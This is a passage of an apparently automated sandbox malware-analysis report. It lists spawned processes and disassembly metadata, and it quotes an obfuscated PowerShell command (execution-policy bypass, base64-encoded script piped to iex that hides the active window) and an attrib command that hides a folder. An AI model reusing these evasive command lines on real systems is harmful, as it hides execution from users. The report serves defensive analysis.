                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high
                                                                                                                                                  Has exited:true

                                                                                                                                                  General

                                                                                                                                                  Target ID:3
                                                                                                                                                  Start time:10:27:14
                                                                                                                                                  Start date:07/01/2025
                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:"powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGwATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAEoARwBoAFgAYgBtAFEAcwBJAEQAQQBwAEQAUQBwADkARABRAG8AawBZADMAVgB5AGMAbQBWAHUAZABGAGQAcABiAG0AUgB2AGQAMQBSAHAAZABHAHgAbABJAEQAMABnAFIAMgBWADAAUQBXAE4AMABhAFgAWgBsAFYAMgBsAHUAWgBHADkAMwBWAEcAbAAwAGIARwBVAE4AQwBrAGgAcABaAEcAVgBCAFkAMwBSAHAAZABtAFYAWABhAFcANQBrAGIAMwBjAE4AQwBnAD0APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA
                                                                                                                                                  Imagebase:0x7ff7be880000
                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high
                                                                                                                                                  Has exited:true

                                                                                                                                                  General

                                                                                                                                                  Target ID:4
                                                                                                                                                  Start time:10:27:16
                                                                                                                                                  Start date:07/01/2025
                                                                                                                                                  Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline"
                                                                                                                                                  Imagebase:0x7ff785340000
                                                                                                                                                  File size:2'759'232 bytes
                                                                                                                                                  MD5 hash:F65B029562077B648A6A5F6A1AA76A66
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:moderate
                                                                                                                                                  Has exited:true

                                                                                                                                                  General

                                                                                                                                                  Target ID:5
                                                                                                                                                  Start time:10:27:17
                                                                                                                                                  Start date:07/01/2025
                                                                                                                                                  Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37CB.tmp" "c:\Users\user\AppData\Local\Temp\qe2pugvo\CSC164F6F5C146F445CBD8C979E31D12C49.TMP"
                                                                                                                                                  Imagebase:0x7ff686750000
                                                                                                                                                  File size:52'744 bytes
                                                                                                                                                  MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high
                                                                                                                                                  Has exited:true

                                                                                                                                                  General

                                                                                                                                                  Target ID:7
                                                                                                                                                  Start time:10:27:28
                                                                                                                                                  Start date:07/01/2025
                                                                                                                                                  Path:C:\Windows\System32\attrib.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:"attrib" +h C:\WindowsSystem
                                                                                                                                                  Imagebase:0x7ff66dac0000
                                                                                                                                                  File size:23'040 bytes
                                                                                                                                                  MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:moderate
                                                                                                                                                  Has exited:true

                                                                                                                                                  Disassembly

                                                                                                                                                  Reset < >

                                                                                                                                                    Execution Graph

                                                                                                                                                    Execution Coverage:2.1%
                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                    Signature Coverage:0%
                                                                                                                                                    Total number of Nodes:3
                                                                                                                                                    Total number of Limit Nodes:0
                                                                                                                                                    execution_graph 8109 7ff848f2b409 8111 7ff848f2b40f LoadLibraryExW 8109->8111 8112 7ff848f2b49d 8111->8112

                                                                                                                                                    Executed Functions

                                                                                                                                                    Function 00007FF848F2A8F8 Relevance: 1.7, APIs: 1, Instructions: 208libraryCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 00000003.00000002.2180508582.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff848f20000_powershell.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: LibraryLoad
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1029625771-0
                                                                                                                                                    • Opcode ID: 22ae35ac8ad5d8575789934ad0bcd06bfab0dc1e63cd58c1e9248ecc30508b69
                                                                                                                                                    • Instruction ID: 97aced9588e8890334de331978b0d93bdf41d8c61d5d2b5a5524158c9b4fd637
                                                                                                                                                    • Opcode Fuzzy Hash: 22ae35ac8ad5d8575789934ad0bcd06bfab0dc1e63cd58c1e9248ecc30508b69
                                                                                                                                                    • Instruction Fuzzy Hash: C1614872D0EAC98FE755DB686815278FFE1FF26250F1442BFC048831D7EA2658498786
                                                                                                                                                    Function 00007FF848F2B409 Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 26 7ff848f2b409-7ff848f2b45f 29 7ff848f2b469-7ff848f2b49b LoadLibraryExW 26->29 30 7ff848f2b461-7ff848f2b466 26->30 31 7ff848f2b49d 29->31 32 7ff848f2b4a3-7ff848f2b4ca 29->32 30->29 31->32
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 00000003.00000002.2180508582.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff848f20000_powershell.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: LibraryLoad
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1029625771-0
                                                                                                                                                    • Opcode ID: bd580e8d9c8e4dfba1619ebb03be53a00457419e6b028cb0fceadc63a9fa79ab
                                                                                                                                                    • Instruction ID: 89fb4f0da3ac61fb21bf8e77a2c86599238dd3c40779aa8878237beeafc9dec6
                                                                                                                                                    • Opcode Fuzzy Hash: bd580e8d9c8e4dfba1619ebb03be53a00457419e6b028cb0fceadc63a9fa79ab
                                                                                                                                                    • Instruction Fuzzy Hash: DA21913190CA1C9FDB58DF5C9889BE9BBE0FB69321F00822FD009D3651DB75A8558B81
                                                                                                                                                    Function 00007FF848FF53B5 Relevance: .4, Instructions: 444COMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 356 7ff848ff53b5-7ff848ff53f8 358 7ff848ff5446-7ff848ff5454 356->358 359 7ff848ff53fa-7ff848ff53fc 356->359 362 7ff848ff5456-7ff848ff5463 358->362 363 7ff848ff546d-7ff848ff5472 358->363 360 7ff848ff53fe 359->360 361 7ff848ff53ff-7ff848ff5444 359->361 360->361 361->358 376 7ff848ff56ac-7ff848ff576b 361->376 362->363 371 7ff848ff5465-7ff848ff546b 362->371 364 7ff848ff5650-7ff848ff565a 363->364 365 7ff848ff5478-7ff848ff547b 363->365 372 7ff848ff565c-7ff848ff5668 364->372 373 7ff848ff5669-7ff848ff56a9 364->373 368 7ff848ff5492 365->368 369 7ff848ff547d-7ff848ff5490 365->369 375 7ff848ff5494-7ff848ff5496 368->375 369->375 371->363 373->376 375->364 378 7ff848ff549c-7ff848ff54d0 375->378 389 7ff848ff54e7 378->389 390 7ff848ff54d2-7ff848ff54e5 378->390 394 7ff848ff54e9-7ff848ff54eb 389->394 390->394 394->364 395 7ff848ff54f1-7ff848ff54f9 394->395 395->376 397 7ff848ff54ff-7ff848ff5509 395->397 399 7ff848ff5525-7ff848ff5535 397->399 400 7ff848ff550b-7ff848ff5523 397->400 399->364 405 7ff848ff553b-7ff848ff556c 399->405 400->399 405->364 410 7ff848ff5572-7ff848ff559e 405->410 414 7ff848ff55a0-7ff848ff55b2 410->414 415 7ff848ff55c9-7ff848ff55ca 410->415 419 7ff848ff55b4 414->419 420 7ff848ff55b5-7ff848ff55c7 414->420 416 7ff848ff55cb-7ff848ff55cd 415->416 416->364 418 7ff848ff55d3-7ff848ff55db 416->418 421 7ff848ff55dd-7ff848ff55e7 418->421 422 7ff848ff55eb 418->422 419->420 420->416 423 7ff848ff5607-7ff848ff5636 421->423 424 7ff848ff55e9 421->424 425 7ff848ff55f0-7ff848ff5605 422->425 431 7ff848ff563d-7ff848ff564f 423->431 424->425 425->423
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 00000003.00000002.2180894061.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff848ff0000_powershell.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: e5a92b1992027a3d9dc4cccf3046c1aa11f1b9cc12bb56183e2c5f6967379e24
                                                                                                                                                    • Instruction ID: e4a2eb5681bb5329a33fc7b770114ab2d193c89ee1f16f31c9ad71dea28abf5a
                                                                                                                                                    • Opcode Fuzzy Hash: e5a92b1992027a3d9dc4cccf3046c1aa11f1b9cc12bb56183e2c5f6967379e24
                                                                                                                                                    • Instruction Fuzzy Hash: C1D12631D0EA8A5FEB95AB2858555B5BBE1FF1A394F0800FBD14DC70D3EB18A805C359
                                                                                                                                                    Function 00007FF848FF2AAD Relevance: .3, Instructions: 298COMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 432 7ff848ff2aad-7ff848ff2ade 435 7ff848ff2b53-7ff848ff2b82 432->435 436 7ff848ff2ae0-7ff848ff2aea 432->436 444 7ff848ff2b84 435->444 445 7ff848ff2b85-7ff848ff2b94 435->445 438 7ff848ff2aec-7ff848ff2afa 436->438 439 7ff848ff2afb-7ff848ff2b50 436->439 439->435 444->445 448 7ff848ff2b96-7ff848ff2ba6 445->448 449 7ff848ff2ba7 445->449 448->449 450 7ff848ff2be3-7ff848ff2c00 449->450 451 7ff848ff2ba9-7ff848ff2bab 449->451 459 7ff848ff2c02 450->459 460 7ff848ff2c03-7ff848ff2c1f 450->460 454 7ff848ff2bae-7ff848ff2be0 451->454 455 7ff848ff2bad 451->455 454->450 455->454 459->460 462 7ff848ff2c22-7ff848ff2c34 460->462 463 7ff848ff2c21 460->463 465 7ff848ff2c3b-7ff848ff2c84 462->465 463->462 467 7ff848ff2c86-7ff848ff2c90 465->467 468 7ff848ff2caf-7ff848ff2cbb 465->468 469 7ff848ff2c92-7ff848ff2c94 467->469 470 7ff848ff2cde-7ff848ff2d0b 467->470 471 7ff848ff2cbc 468->471 472 7ff848ff2cbd-7ff848ff2cdd 468->472 474 7ff848ff2c96 469->474 475 7ff848ff2c97-7ff848ff2cae 469->475 471->472 472->470 474->475 475->468
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 00000003.00000002.2180894061.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff848ff0000_powershell.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 0a45e368b24586bb53c8398dc0eb26d32525030b144b22878968f34aabc1e79f
                                                                                                                                                    • Instruction ID: 1e46c1d5df30f77c4b4fc89e1737fbc4ff77281762ddee025afe741ee61e6bd8
                                                                                                                                                    • Opcode Fuzzy Hash: 0a45e368b24586bb53c8398dc0eb26d32525030b144b22878968f34aabc1e79f
                                                                                                                                                    • Instruction Fuzzy Hash: E5911731E0EBC54FE35AAB7858261747FE1EF566A0F0805FBC589CB1D3EA2C58098356

                                                                                                                                                    Non-executed Functions

                                                                                                                                                    Function 00007FF848F2D70C Relevance: .7, Instructions: 747COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 00000003.00000002.2180508582.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff848f20000_powershell.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: edf6bf504d959e48b8b34844e7260c65911e704da25f0a779a48cc56b76263c8
                                                                                                                                                    • Instruction ID: c17fb37506491079bbca3e363ea04bba13e5582f4fb293b7fd34d7f8ed7cd988
                                                                                                                                                    • Opcode Fuzzy Hash: edf6bf504d959e48b8b34844e7260c65911e704da25f0a779a48cc56b76263c8
                                                                                                                                                    • Instruction Fuzzy Hash: 4842F23091CA8D4FEBA8FB289815BA877E0FF55340F14417DD84DCB2D2DB39A9468785
                                                                                                                                                    Function 00007FF848F2D795 Relevance: .6, Instructions: 598COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 00000003.00000002.2180508582.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff848f20000_powershell.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 4c0750f96388a10cb2f5f67d7c4f753d071e9182980eb01d84adaabd317b9872
                                                                                                                                                    • Instruction ID: 758d5bf752bbdf889ac4934451d4ab66d4237373e1f2d0542ea14f26beb27efd
                                                                                                                                                    • Opcode Fuzzy Hash: 4c0750f96388a10cb2f5f67d7c4f753d071e9182980eb01d84adaabd317b9872
                                                                                                                                                    • Instruction Fuzzy Hash: C4129D3091CA4E8FEBA8FB189855BA577E0FF58340F104179E84EC72D2DF39A9458B85